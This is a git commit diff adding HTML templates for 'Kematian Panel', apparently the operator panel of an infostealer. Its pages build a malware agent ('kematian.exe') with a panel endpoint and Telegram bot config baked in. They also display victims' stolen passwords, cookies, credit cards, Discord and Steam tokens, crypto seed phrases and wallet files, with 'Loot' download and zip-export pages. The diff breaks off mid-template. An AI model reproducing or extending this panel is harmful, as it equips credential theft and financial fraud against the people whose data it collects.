initial commit
This commit is contained in:
@@ -0,0 +1,83 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>{% block title %}Kematian Panel{% endblock %}</title>
|
||||
<link rel="preconnect" href="https://fonts.googleapis.com">
|
||||
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700;800&display=swap" rel="stylesheet">
|
||||
<link rel="stylesheet" href="{{ url_for('static', filename='css/style.css') }}">
|
||||
<script src="{{ url_for('static', filename='js/app.js') }}" defer></script>
|
||||
{% block head %}{% endblock %}
|
||||
</head>
|
||||
<body>
|
||||
{% if session.get('admin') %}
|
||||
<aside class="sidebar">
|
||||
<div class="brand">
|
||||
<div class="brand-logo">☠</div>
|
||||
<div class="brand-name">kematian<span class="brand-dot">panel</span></div>
|
||||
</div>
|
||||
|
||||
<div class="profile">
|
||||
<div class="profile-avatar">{{ (session['admin'][:1]) | upper }}</div>
|
||||
<div class="profile-info">
|
||||
<div class="profile-name">{{ session['admin'] }}</div>
|
||||
<div class="profile-role">Administrator</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="nav-group-label">Main Menu</div>
|
||||
<nav class="nav">
|
||||
<a href="{{ url_for('dashboard') }}" class="nav-item">
|
||||
<img src="{{ url_for('static', filename='icons/dash.svg') }}" alt="" class="nav-ico">Dashboard
|
||||
</a>
|
||||
<a href="{{ url_for('clients') }}" class="nav-item">
|
||||
<img src="{{ url_for('static', filename='icons/files.svg') }}" alt="" class="nav-ico">Activity Logs
|
||||
</a>
|
||||
<a href="{{ url_for('fileshare') }}" class="nav-item">
|
||||
<img src="{{ url_for('static', filename='icons/wallet.svg') }}" alt="" class="nav-ico">FileShare
|
||||
</a>
|
||||
<a href="{{ url_for('all_loot') }}" class="nav-item">
|
||||
<img src="{{ url_for('static', filename='icons/files.svg') }}" alt="" class="nav-ico">Loot
|
||||
</a>
|
||||
</nav>
|
||||
|
||||
<div class="nav-group-label">Data</div>
|
||||
<nav class="nav">
|
||||
{% for key, (label, table, icon, title) in categories.items() %}
|
||||
<a href="{{ url_for('category', key=key) }}" class="nav-item">
|
||||
<img src="{{ url_for('static', filename='icons/' ~ icon ~ '.svg') }}" alt="" class="nav-ico">{{ label }}
|
||||
</a>
|
||||
{% endfor %}
|
||||
</nav>
|
||||
|
||||
<div class="nav-group-label">Settings</div>
|
||||
<nav class="nav">
|
||||
<a href="{{ url_for('build_page') }}" class="nav-item">
|
||||
<img src="{{ url_for('static', filename='icons/key.svg') }}" alt="" class="nav-ico">Builder
|
||||
</a>
|
||||
<a href="{{ url_for('search') }}" class="nav-item">
|
||||
<img src="{{ url_for('static', filename='icons/history.svg') }}" alt="" class="nav-ico">Search
|
||||
</a>
|
||||
</nav>
|
||||
|
||||
<div class="sidebar-foot">
|
||||
<div class="online"><span class="online-dot"></span>Online</div>
|
||||
<div class="foot-user">{{ session['admin'] }}</div>
|
||||
<a href="{{ url_for('logout') }}" class="logout-btn">Logout</a>
|
||||
</div>
|
||||
</aside>
|
||||
{% endif %}
|
||||
<div class="main {% if session.get('admin') %}with-sidebar{% endif %}">
|
||||
{% with messages = get_flashed_messages(with_categories=true) %}
|
||||
{% for cat, msg in messages %}
|
||||
<div class="flash flash-{{ cat }}">{{ msg }}</div>
|
||||
{% endfor %}
|
||||
{% endwith %}
|
||||
{% block content %}{% endblock %}
|
||||
</div>
|
||||
<footer class="panel-foot">
|
||||
<a href="https://t.me/electronic_sex" target="_blank" rel="noopener">t.me/electronic_sex</a>
|
||||
</footer>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,95 @@
|
||||
{% extends "base.html" %}
|
||||
{% block title %}Builder · Kematian{% endblock %}
|
||||
{% block content %}
|
||||
<div class="page-head">
|
||||
<div>
|
||||
<h1>Agent <span class="accent">Builder</span></h1>
|
||||
<p class="muted">Build a fresh kematian.exe on the server with your panel + Telegram config baked in.</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{% if error %}
|
||||
<div class="flash flash-error">{{ error }}</div>
|
||||
{% endif %}
|
||||
|
||||
<form class="build-form" method="post" action="{{ url_for('build_start') }}">
|
||||
<div class="form-card">
|
||||
<h2>Target configuration</h2>
|
||||
|
||||
<label>Panel endpoint</label>
|
||||
<input type="text" name="endpoint" value="{{ default_endpoint }}" placeholder="https://mypanel.com" autocomplete="off">
|
||||
<p class="hint">Panelinizin adresi. `/api/ingest` otomatik eklenir.</p>
|
||||
|
||||
<label>Panel auth / ingest key</label>
|
||||
<input type="text" name="auth" placeholder="kematian-ingest-key-CHANGE-ME" required autocomplete="off">
|
||||
<p class="hint">Paneldeki <code>PANEL_INGEST_KEY</code> ile aynı olmalı.</p>
|
||||
|
||||
<div class="form-row">
|
||||
<div>
|
||||
<label>Telegram bot token <span class="muted">(opsiyonel)</span></label>
|
||||
<input type="text" name="bot_token" placeholder="123456:ABC... . . ." autocomplete="off">
|
||||
</div>
|
||||
<div>
|
||||
<label>Telegram chat ID <span class="muted">(opsiyonel)</span></label>
|
||||
<input type="text" name="chat_id" placeholder="-100123456" autocomplete="off">
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<label>Build name</label>
|
||||
<input type="text" name="build_name" value="kematian" autocomplete="off" style="max-width:260px">
|
||||
|
||||
<button type="submit" class="btn btn-primary">Build agent</button>
|
||||
</div>
|
||||
</form>
|
||||
|
||||
{% if started %}
|
||||
<div class="build-progress" data-build="{{ started }}">
|
||||
<h2>Build <span class="mono">#{{ started }}</span></h2>
|
||||
<div id="build-actions"></div>
|
||||
</div>
|
||||
{% endif %}
|
||||
|
||||
{% if builds %}
|
||||
<h2 class="section-title">Recent builds</h2>
|
||||
<div class="table-card">
|
||||
<table>
|
||||
<thead><tr><th>#</th><th>Status</th><th>File</th><th></th></tr></thead>
|
||||
<tbody>
|
||||
{% for id, j in builds.items() %}
|
||||
<tr>
|
||||
<td class="mono">#{{ id }}</td>
|
||||
<td><span class="tag tag-{{ j['status'] }}">{{ j['status'] }}</span></td>
|
||||
<td class="mono">{{ j['exe'] and os.path.basename(j['exe']) or '—' }}</td>
|
||||
<td>{% if j['exe'] %}<a class="btn btn-ghost btn-sm" href="{{ url_for('build_download', filename=os.path.basename(j['exe'])) }}">Download</a>{% elif j['status'] == 'running' %}<button class="btn btn-ghost btn-sm" onclick="pollStatus({{ id }}, true)">Refresh</button>{% endif %}</td>
|
||||
</tr>
|
||||
{% endfor %}
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
{% endif %}
|
||||
|
||||
<script>
|
||||
function pollStatus(id, isRow) {
|
||||
fetch(`/build/status/${id}`)
|
||||
.then(r => r.json())
|
||||
.then(d => {
|
||||
const actions = document.getElementById("build-actions");
|
||||
if (!actions) return;
|
||||
if (d.status === "done" && d.download) {
|
||||
actions.innerHTML = `<span class="muted">Build finished.</span> <a class="btn btn-primary" href="${d.download}">Download agent</a>`;
|
||||
} else if (d.status === "error") {
|
||||
actions.innerHTML = `<span class="flash flash-error">Build failed: ${esc(d.error || "unknown")}</span>`;
|
||||
} else {
|
||||
actions.innerHTML = `<span class="muted">Building…</span>`;
|
||||
}
|
||||
});
|
||||
}
|
||||
function esc(s) {
|
||||
return String(s).replace(/[&<>"']/g, c => ({'&':'&','<':'<','>':'>','"':'"',"'":'''}[c]));
|
||||
}
|
||||
{% if started %}
|
||||
setInterval(() => pollStatus({{ started }}), 2000);
|
||||
pollStatus({{ started }});
|
||||
{% endif %}
|
||||
</script>
|
||||
{% endblock %}
|
||||
@@ -0,0 +1,151 @@
|
||||
{% extends "base.html" %}
|
||||
{% block title %}{{ title }} · Kematian{% endblock %}
|
||||
{% block content %}
|
||||
<div class="page-head">
|
||||
<div>
|
||||
<h1 class="with-ico"><img src="{{ url_for('static', filename='icons/' ~ icon ~ '.svg') }}" class="head-ico" alt="">{{ label }}</h1>
|
||||
<p class="muted">{{ title }} · {{ rows|length }} total{% if client_filter %} · <a href="{{ url_for('category', key=key) }}">clear filter</a>{% endif %}</p>
|
||||
{% if client_filter and key in ['wallets','telegram','gaming','files','keys'] %}
|
||||
<p class="muted"><a href="{{ url_for('client_loot', client_id=client_filter) }}" class="accent">→ download hosted files for this client</a></p>
|
||||
{% endif %}
|
||||
</div>
|
||||
<div class="head-actions">
|
||||
{% if key in ['passwords','cookies','autofill','credit_cards','discord_tokens','app_credentials','seeds','steam_tokens'] %}
|
||||
<button type="button" class="btn btn-ghost reveal-all">Reveal secrets</button>
|
||||
{% endif %}
|
||||
<a class="btn btn-ghost" href="{{ url_for('api_raw', key=key) }}{% if client_filter %}?client={{ client_filter }}{% endif %}" target="_blank">Raw JSON</a>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="table-card">
|
||||
<div class="table-scroll">
|
||||
<table class="cat-table">
|
||||
<thead>
|
||||
<tr>
|
||||
{% if key == 'passwords' %}<th>URL</th><th>Username</th><th>Password</th><th>Browser</th>{% endif %}
|
||||
{% if key == 'cookies' %}<th>Host</th><th>Name</th><th>Value</th><th>Browser</th>{% endif %}
|
||||
{% if key == 'autofill' %}<th>Field</th><th>Value</th><th>Browser</th>{% endif %}
|
||||
{% if key == 'history' %}<th>URL</th><th>Title</th><th>Visits</th><th>Last visit</th>{% endif %}
|
||||
{% if key == 'bookmarks' %}<th>Name</th><th>URL</th><th>Type</th>{% endif %}
|
||||
{% if key == 'credit_cards' %}<th>Card</th><th>Holder</th><th>Exp</th><th>Browser</th>{% endif %}
|
||||
{% if key == 'discord_tokens' %}<th>Token</th><th>Source</th>{% endif %}
|
||||
{% if key == 'files' %}<th>Name</th><th>Size</th><th>Path</th>{% endif %}
|
||||
{% if key == 'extensions' %}<th>Name</th><th>Version</th><th>Browser</th><th>ID</th>{% endif %}
|
||||
{% if key == 'wallets' %}<th>Name</th><th>Type</th><th>Size</th><th>Addresses</th>{% endif %}
|
||||
{% if key == 'telegram' %}<th>Account</th><th>Files</th><th>Size</th><th>Path</th>{% endif %}
|
||||
{% if key == 'keys' %}<th>Type</th><th>Name</th><th>Size</th><th>Path</th>{% endif %}
|
||||
{% if key in ['wallets','telegram','gaming'] %}<th>Files</th>{% endif %}
|
||||
{% if key == 'app_credentials' %}<th>App</th><th>Host</th><th>Username</th><th>Password</th>{% endif %}
|
||||
{% if key == 'seeds' %}<th>Phrase</th><th>Source</th><th>Words</th>{% endif %}
|
||||
{% if key == 'gaming' %}<th>Platform</th><th>Data</th>{% endif %}
|
||||
{% if key == 'steam_tokens' %}<th>Steam ID</th><th>Token</th>{% endif %}
|
||||
{% if key == 'vpns' %}<th>VPN</th><th>Data</th>{% endif %}
|
||||
<th>Client</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{% for r in rows %}
|
||||
<tr>
|
||||
{% if key == 'passwords' %}
|
||||
<td class="mono">{{ r['url'] or '' }}</td>
|
||||
<td>{{ r['username'] or '' }}</td>
|
||||
<td class="pw">{{ r['password'] or '' }}</td>
|
||||
<td>{{ r['browser'] or '' }}</td>
|
||||
{% endif %}
|
||||
{% if key == 'cookies' %}
|
||||
<td class="mono">{{ r['host'] or '' }}</td>
|
||||
<td class="mono">{{ r['name'] or '' }}</td>
|
||||
<td class="mono pw">{{ r['value'] or '' }}</td>
|
||||
<td>{{ r['browser'] or '' }}</td>
|
||||
{% endif %}
|
||||
{% if key == 'autofill' %}
|
||||
<td>{{ r['name'] or '' }}</td>
|
||||
<td class="pw">{{ r['value'] or '' }}</td>
|
||||
<td>{{ r['browser'] or '' }}</td>
|
||||
{% endif %}
|
||||
{% if key == 'history' %}
|
||||
<td class="mono">{{ r['url'] or '' }}</td>
|
||||
<td>{{ r['title'] or '' }}</td>
|
||||
<td>{{ r['visit_count'] or 0 }}</td>
|
||||
<td>{{ (r['last_visit_time'] | datetime) if r['last_visit_time'] else '—' }}</td>
|
||||
{% endif %}
|
||||
{% if key == 'bookmarks' %}
|
||||
<td>{{ r['name'] or '' }}</td>
|
||||
<td class="mono">{{ r['url'] or '' }}</td>
|
||||
<td>{{ r['type'] or '' }}</td>
|
||||
{% endif %}
|
||||
{% if key == 'credit_cards' %}
|
||||
<td class="pw">{{ r['card_number'] or '' }}</td>
|
||||
<td>{{ r['name_on_card'] or '' }}</td>
|
||||
<td>{{ r['expiration_month'] or '?' }}/{{ r['expiration_year'] or '?' }}</td>
|
||||
<td>{{ r['browser'] or '' }}</td>
|
||||
{% endif %}
|
||||
{% if key == 'discord_tokens' %}
|
||||
<td class="mono pw">{{ r['token'] or '' }}</td>
|
||||
<td>{{ r['source'] or '' }}</td>
|
||||
{% endif %}
|
||||
{% if key == 'files' %}
|
||||
<td>{{ r['name'] or '' }}</td>
|
||||
<td>{{ (r['size'] | filesize) }}</td>
|
||||
<td class="mono">{{ r['path'] or '' }}</td>
|
||||
{% endif %}
|
||||
{% if key == 'extensions' %}
|
||||
<td>{{ r['name'] or '' }}</td>
|
||||
<td>{{ r['version'] or '' }}</td>
|
||||
<td>{{ r['browser'] or '' }}</td>
|
||||
<td class="mono">{{ r['ext_id'] or '' }}</td>
|
||||
{% endif %}
|
||||
{% if key == 'wallets' %}
|
||||
<td>{{ r['name'] or '' }}</td>
|
||||
<td>{{ r['type'] or '' }}</td>
|
||||
<td>{{ (r['size'] | filesize) }}</td>
|
||||
<td class="mono">{{ r['addresses'] or '' }}</td>
|
||||
{% endif %}
|
||||
{% if key == 'telegram' %}
|
||||
<td>{{ r['account'] or '' }}</td>
|
||||
<td>{{ r['files'] or 0 }}</td>
|
||||
<td>{{ (r['size'] | filesize) }}</td>
|
||||
<td class="mono">{{ r['path'] or '' }}</td>
|
||||
{% endif %}
|
||||
{% if key == 'keys' %}
|
||||
<td>{{ r['type'] or '' }}</td>
|
||||
<td>{{ r['name'] or '' }}</td>
|
||||
<td>{{ (r['size'] | filesize) }}</td>
|
||||
<td class="mono">{{ r['path'] or '' }}</td>
|
||||
{% endif %}
|
||||
{% if key in ['wallets','telegram','gaming'] %}
|
||||
<td><a class="btn btn-ghost btn-sm" href="{{ url_for('client_loot', client_id=r.client_id) }}">Download</a></td>
|
||||
{% endif %}
|
||||
{% if key == 'app_credentials' %}
|
||||
<td>{{ r['application'] or '' }}</td>
|
||||
<td class="mono">{{ r['host'] or '' }}</td>
|
||||
<td>{{ r['username'] or '' }}</td>
|
||||
<td class="pw">{{ r['password'] or '' }}</td>
|
||||
{% endif %}
|
||||
{% if key == 'seeds' %}
|
||||
<td class="mono pw">{{ r['phrase'] or '' }}</td>
|
||||
<td>{{ r['source'] or '' }}</td>
|
||||
<td>{{ r['words'] or 0 }}</td>
|
||||
{% endif %}
|
||||
{% if key == 'gaming' %}
|
||||
<td>{{ r['platform'] or '' }}</td>
|
||||
<td class="mono">{{ (r['payload'] or '')[:60] }}{% if r['payload'] and r['payload']|length > 60 %}…{% endif %}</td>
|
||||
{% endif %}
|
||||
{% if key == 'steam_tokens' %}
|
||||
<td class="mono">{{ r['steam_id'] or '' }}</td>
|
||||
<td class="mono pw">{{ r['token'] or '' }}</td>
|
||||
{% endif %}
|
||||
{% if key == 'vpns' %}
|
||||
<td>{{ r['vpn'] or '' }}</td>
|
||||
<td class="mono">{{ (r['payload'] or '')[:60] }}{% if r['payload'] and r['payload']|length > 60 %}…{% endif %}</td>
|
||||
{% endif %}
|
||||
<td><a href="{{ url_for('client_detail', client_id=r.client_id) }}" class="mono client-link">{{ r.client_id }}</a></td>
|
||||
</tr>
|
||||
{% else %}
|
||||
<tr><td colspan="12" class="empty">No {{ label|lower }} yet.</td></tr>
|
||||
{% endfor %}
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
</div>
|
||||
{% endblock %}
|
||||
@@ -0,0 +1,34 @@
|
||||
{% extends "base.html" %}
|
||||
{% block title %}{{ cli.client_id }} · Kematian{% endblock %}
|
||||
{% block content %}
|
||||
<div class="page-head">
|
||||
<div>
|
||||
<h1 class="mono">{{ cli.client_id }}</h1>
|
||||
<p class="muted">{{ cli.os or 'Unknown' }} {{ cli.arch or '' }} · v{{ cli.version or '?' }}</p>
|
||||
</div>
|
||||
<div class="head-actions">
|
||||
<a class="btn btn-primary" href="{{ url_for('client_loot', client_id=cli.client_id) }}">Files & Downloads</a>
|
||||
<a class="btn btn-ghost" href="{{ url_for('clients') }}">Back</a>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="stat-row">
|
||||
<div class="stat-card"><div class="stat-num">{{ cli.ip or '—' }}</div><div class="stat-label">IP</div></div>
|
||||
<div class="stat-card"><div class="stat-num">{{ cli.total_entries }}</div><div class="stat-label">Entries</div></div>
|
||||
<div class="stat-card"><div class="stat-num">{{ (cli.first_seen | datetime) if cli.first_seen else '—' }}</div><div class="stat-label">First seen</div></div>
|
||||
<div class="stat-card"><div class="stat-num">{{ (cli.last_seen | datetime) if cli.last_seen else '—' }}</div><div class="stat-label">Last seen</div></div>
|
||||
</div>
|
||||
|
||||
<h2 class="section-title">Data breakdown</h2>
|
||||
<div class="grid">
|
||||
{% for key, s in per_cat.items() %}
|
||||
<a class="type-card" href="{{ url_for('category', key=key) }}?client={{ cli.client_id }}">
|
||||
<img src="{{ url_for('static', filename='icons/' ~ s.icon ~ '.svg') }}" class="type-ico" alt="">
|
||||
<div class="type-body">
|
||||
<div class="type-label">{{ s.label }}</div>
|
||||
<div class="type-count">{{ s.count }}</div>
|
||||
</div>
|
||||
</a>
|
||||
{% endfor %}
|
||||
</div>
|
||||
{% endblock %}
|
||||
@@ -0,0 +1,34 @@
|
||||
{% extends "base.html" %}
|
||||
{% block title %}Clients · Kematian{% endblock %}
|
||||
{% block content %}
|
||||
<div class="page-head">
|
||||
<div>
|
||||
<h1>Clients</h1>
|
||||
<p class="muted">Every agent that has reported in.</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="table-card">
|
||||
<table>
|
||||
<thead>
|
||||
<tr><th>Client</th><th>OS</th><th>Arch</th><th>Version</th><th>IP</th><th>First seen</th><th>Last seen</th><th>Entries</th></tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{% for c in clients %}
|
||||
<tr>
|
||||
<td><a href="{{ url_for('client_detail', client_id=c.client_id) }}" class="mono">{{ c.client_id }}</a></td>
|
||||
<td>{{ c.os or '—' }}</td>
|
||||
<td>{{ c.arch or '—' }}</td>
|
||||
<td>{{ c.version or '—' }}</td>
|
||||
<td class="mono">{{ c.ip or '—' }}</td>
|
||||
<td>{{ (c.first_seen | datetime) if c.first_seen else '—' }}</td>
|
||||
<td>{{ (c.last_seen | datetime) if c.last_seen else '—' }}</td>
|
||||
<td>{{ c.total_entries }}</td>
|
||||
</tr>
|
||||
{% else %}
|
||||
<tr><td colspan="8" class="empty">No clients yet.</td></tr>
|
||||
{% endfor %}
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
{% endblock %}
|
||||
@@ -0,0 +1,154 @@
|
||||
{% extends "base.html" %}
|
||||
{% block title %}Dashboard · Kematian {% endblock %}
|
||||
{% block head %}
|
||||
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/chart.umd.min.js"></script>
|
||||
{% endblock %}
|
||||
{% block content %}
|
||||
<div class="page-head">
|
||||
<div>
|
||||
<h1>Dashboard</h1>
|
||||
<p class="muted">Overview of everything Kematian has collected. t.me/electronic_sex</p>
|
||||
</div>
|
||||
<div class="head-actions">
|
||||
<a class="btn btn-ghost" href="{{ url_for('clients') }}">View clients</a>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="stat-row">
|
||||
<div class="stat-card">
|
||||
<div class="stat-ico"><img src="{{ url_for('static', filename='icons/files.svg') }}" alt=""></div>
|
||||
<div class="stat-num">{{ client_count }}</div>
|
||||
<div class="stat-label">Total Clients</div>
|
||||
<span class="stat-trend up">live</span>
|
||||
</div>
|
||||
<div class="stat-card">
|
||||
<div class="stat-ico"><img src="{{ url_for('static', filename='icons/pass.svg') }}" alt=""></div>
|
||||
<div class="stat-num">{{ stats['passwords'].count }}</div>
|
||||
<div class="stat-label">Passwords Captured</div>
|
||||
<span class="stat-trend up">collected</span>
|
||||
</div>
|
||||
<div class="stat-card">
|
||||
<div class="stat-ico"><img src="{{ url_for('static', filename='icons/cookie.svg') }}" alt=""></div>
|
||||
<div class="stat-num">{{ stats['cookies'].count }}</div>
|
||||
<div class="stat-label">Cookies Stolen</div>
|
||||
<span class="stat-trend up">collected</span>
|
||||
</div>
|
||||
<div class="stat-card">
|
||||
<div class="stat-ico"><img src="{{ url_for('static', filename='icons/discord.svg') }}" alt=""></div>
|
||||
<div class="stat-num">{{ stats['discord_tokens'].count }}</div>
|
||||
<div class="stat-label">Discord Tokens</div>
|
||||
<span class="stat-trend up">collectible</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="charts-row">
|
||||
<div class="chart-card">
|
||||
<h2>Activity Overview</h2>
|
||||
<div class="chart-body"><canvas id="activityChart"></canvas></div>
|
||||
</div>
|
||||
<div class="chart-card">
|
||||
<h2>Data Distribution</h2>
|
||||
<div class="chart-body"><canvas id="distChart"></canvas></div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="page-head" style="margin-bottom:12px">
|
||||
<div><h1 style="font-size:19px">Recent Activity</h1></div>
|
||||
<div class="head-actions">
|
||||
<a class="btn btn-ghost" href="{{ url_for('clients') }}">All clients</a>
|
||||
<a class="btn btn-primary" href="{{ url_for('all_loot') }}">Downloads</a>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="table-card">
|
||||
<div class="table-scroll">
|
||||
<table>
|
||||
<thead>
|
||||
<tr><th>Date</th><th>Victim</th><th>IP</th><th>System</th><th>Entries</th><th></th></tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{% for c in recent %}
|
||||
<tr>
|
||||
<td class="mono">{{ (c.last_seen | datetime) if c.last_seen else '—' }}</td>
|
||||
<td><a href="{{ url_for('client_detail', client_id=c.client_id) }}" class="mono client-link">{{ c.client_id }}</a></td>
|
||||
<td class="mono">{{ c.ip or '—' }}</td>
|
||||
<td>{{ c.os or '—' }} {{ c.arch or '' }}</td>
|
||||
<td><span class="chip chip-green">{{ c.total_entries }}</span></td>
|
||||
<td><a class="btn btn-ghost btn-sm" href="{{ url_for('client_detail', client_id=c.client_id) }}">View</a></td>
|
||||
</tr>
|
||||
{% else %}
|
||||
<tr><td colspan="6" class="empty">No clients yet. Data lands here when the agent posts.</td></tr>
|
||||
{% endfor %}
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script>
|
||||
window.addEventListener("DOMContentLoaded", () => {
|
||||
const PURPLE = "#a855f7";
|
||||
const PURPLE2 = "#7c3aed";
|
||||
const grid = "rgba(255,255,255,0.05)";
|
||||
const labels = {{ chart_labels | tojson }};
|
||||
const values = {{ chart_values | tojson }};
|
||||
const icons = {{ chart_icons | tojson }};
|
||||
|
||||
// Activity Overview — t.me/electronic_sex
|
||||
const ctxA = document.getElementById("activityChart");
|
||||
if (ctxA) {
|
||||
new Chart(ctxA, {
|
||||
type: "line",
|
||||
data: {
|
||||
labels: labels,
|
||||
datasets: [{
|
||||
label: "Entries",
|
||||
data: values,
|
||||
borderColor: PURPLE,
|
||||
backgroundColor: "rgba(168,85,247,0.12)",
|
||||
fill: true,
|
||||
tension: 0.4,
|
||||
pointBackgroundColor: PURPLE,
|
||||
pointBorderColor: "#0a0a0f",
|
||||
pointBorderWidth: 2,
|
||||
pointRadius: 4,
|
||||
}]
|
||||
},
|
||||
options: {
|
||||
responsive: true, maintainAspectRatio: false,
|
||||
plugins: { legend: { display: false } },
|
||||
scales: {
|
||||
x: { ticks: { color: "#8b8b98", maxRotation: 45, minRotation: 0, font: { size: 10 } }, grid: { color: grid } },
|
||||
y: { ticks: { color: "#8b8b98", font: { size: 11 } }, grid: { color: grid }, beginAtZero: true }
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
// Data Distribution — donut
|
||||
const ctxD = document.getElementById("distChart");
|
||||
if (ctxD) {
|
||||
const palette = ["#a855f7","#7c3aed","#c084fc","#9333ea","#6d28d9","#d8b4fe","#8b5cf6","#a78bfa"];
|
||||
new Chart(ctxD, {
|
||||
type: "doughnut",
|
||||
data: {
|
||||
labels: labels,
|
||||
datasets: [{
|
||||
data: values,
|
||||
backgroundColor: palette,
|
||||
borderColor: "#131318",
|
||||
borderWidth: 3,
|
||||
hoverOffset: 6,
|
||||
}]
|
||||
},
|
||||
options: {
|
||||
responsive: true, maintainAspectRatio: false,
|
||||
cutout: "62%",
|
||||
plugins: {
|
||||
legend: { position: "bottom", labels: { color: "#8b8b98", boxWidth: 12, padding: 10, font: { size: 10 } } }
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
});
|
||||
</script>
|
||||
{% endblock %}
|
||||
@@ -0,0 +1,73 @@
|
||||
{% extends "base.html" %}
|
||||
{% block title %}FileShare · Kematian{% endblock %}
|
||||
{% block content %}
|
||||
<div class="page-head">
|
||||
<div>
|
||||
<h1>File<span class="accent">Share</span></h1>
|
||||
<p class="muted">Hosted login files (wallets, Steam, Telegram) + your own uploads. Click a file to download, or copy its direct link.</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="upload-card">
|
||||
<h2>Upload a file</h2>
|
||||
<form method="post" action="{{ url_for('fileshare_upload') }}" enctype="multipart/form-data" class="upload-form">
|
||||
<label>File</label>
|
||||
<input type="file" name="file" required>
|
||||
<label>Category <span class="muted">(optional)</span></label>
|
||||
<input type="text" name="category" value="upload" placeholder="upload" style="max-width:200px">
|
||||
<button type="submit" class="btn btn-primary">Upload</button>
|
||||
</form>
|
||||
<p class="hint">Uploaded files are stored under <code>panel/loot/upload/</code> and get a shareable link.</p>
|
||||
</div>
|
||||
|
||||
<h2 class="section-title">Hosted files <span class="muted">({{ blobs|length }})</span></h2>
|
||||
<div class="table-card">
|
||||
<table>
|
||||
<thead><tr><th>Client</th><th>File</th><th>Type</th><th>Size</th><th></th></tr></thead>
|
||||
<tbody>
|
||||
{% for b in blobs %}
|
||||
<tr>
|
||||
<td>{% if b.client_id == 'upload' %}<span class="tag">upload</span>{% else %}<a href="{{ url_for('client_detail', client_id=b.client_id) }}" class="mono client-link">{{ b.client_id }}</a>{% endif %}</td>
|
||||
<td class="mono"><a href="{{ url_for('loot_download', client_id=b.client_id, blob_id=b.id) }}">{{ b.filename }}</a></td>
|
||||
<td><span class="tag">{{ b.category or '—' }}</span></td>
|
||||
<td class="mono">{{ (b.size | filesize) }}</td>
|
||||
<td>
|
||||
<a class="btn btn-ghost btn-sm" href="{{ url_for('loot_download', client_id=b.client_id, blob_id=b.id) }}">Download</a>
|
||||
<button type="button" class="btn btn-ghost btn-sm copy-link" data-url="{{ url_for('loot_download', client_id=b.client_id, blob_id=b.id) }}">Copy link</button>
|
||||
</td>
|
||||
</tr>
|
||||
{% else %}
|
||||
<tr><td colspan="5" class="empty">No files shared yet.</td></tr>
|
||||
{% endfor %}
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
|
||||
<h2 class="section-title">Clients with files</h2>
|
||||
<div class="grid">
|
||||
{% for cid, items in by_client.items() %}
|
||||
<a class="type-card" href="{{ url_for('client_loot', client_id=cid) }}">
|
||||
<img src="{{ url_for('static', filename='icons/files.svg') }}" class="type-ico" alt="">
|
||||
<div class="type-body">
|
||||
<div class="type-label mono">{{ 'your uploads' if cid == 'upload' else cid }}</div>
|
||||
<div class="type-count">{{ items }} file{{ '' if items == 1 else 's' }}</div>
|
||||
</div>
|
||||
</a>
|
||||
{% else %}
|
||||
<p class="muted">No client has hosted files.</p>
|
||||
{% endfor %}
|
||||
</div>
|
||||
|
||||
<script>
|
||||
document.addEventListener("click", (e) => {
|
||||
const btn = e.target.closest(".copy-link");
|
||||
if (!btn) return;
|
||||
const url = new URL(btn.dataset.url, window.location.origin).href;
|
||||
navigator.clipboard.writeText(url).then(() => {
|
||||
const prev = btn.textContent;
|
||||
btn.textContent = "copied ✓";
|
||||
setTimeout(() => { btn.textContent = prev; }, 900);
|
||||
}).catch(() => {});
|
||||
});
|
||||
</script>
|
||||
{% endblock %}
|
||||
@@ -0,0 +1,19 @@
|
||||
{% extends "base.html" %}
|
||||
{% block title %}Login · Kematian{% endblock %}
|
||||
{% block content %}
|
||||
<div class="auth-wrap">
|
||||
<form class="auth-card" method="post" action="{{ url_for('login', next=request.args.get('next')) }}">
|
||||
<div class="auth-logo">☠</div>
|
||||
<h1>kematian<span class="accent">panel</span></h1>
|
||||
<p class="auth-sub">Admin login</p>
|
||||
|
||||
<label>Username</label>
|
||||
<input type="text" name="username" required autofocus placeholder="admin">
|
||||
|
||||
<label>Password</label>
|
||||
<input type="password" name="password" required placeholder="••••••••">
|
||||
|
||||
<button type="submit" class="btn btn-primary">Sign in</button>
|
||||
</form>
|
||||
</div>
|
||||
{% endblock %}
|
||||
@@ -0,0 +1,32 @@
|
||||
{% extends "base.html" %}
|
||||
{% block title %}Loot · {{ client_id }} · Kematian{% endblock %}
|
||||
{% block content %}
|
||||
<div class="page-head">
|
||||
<div>
|
||||
<h1>Files <span class="accent">· {{ client_id }}</span></h1>
|
||||
<p class="muted">Hosted login files (wallets, Steam, Telegram) — click to download.</p>
|
||||
</div>
|
||||
<div class="head-actions">
|
||||
<a class="btn btn-primary" href="{{ url_for('loot_zip', client_id=client_id) }}">Download all (.zip)</a>
|
||||
<a class="btn btn-ghost" href="{{ url_for('client_detail', client_id=client_id) }}">Back to client</a>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="table-card">
|
||||
<table>
|
||||
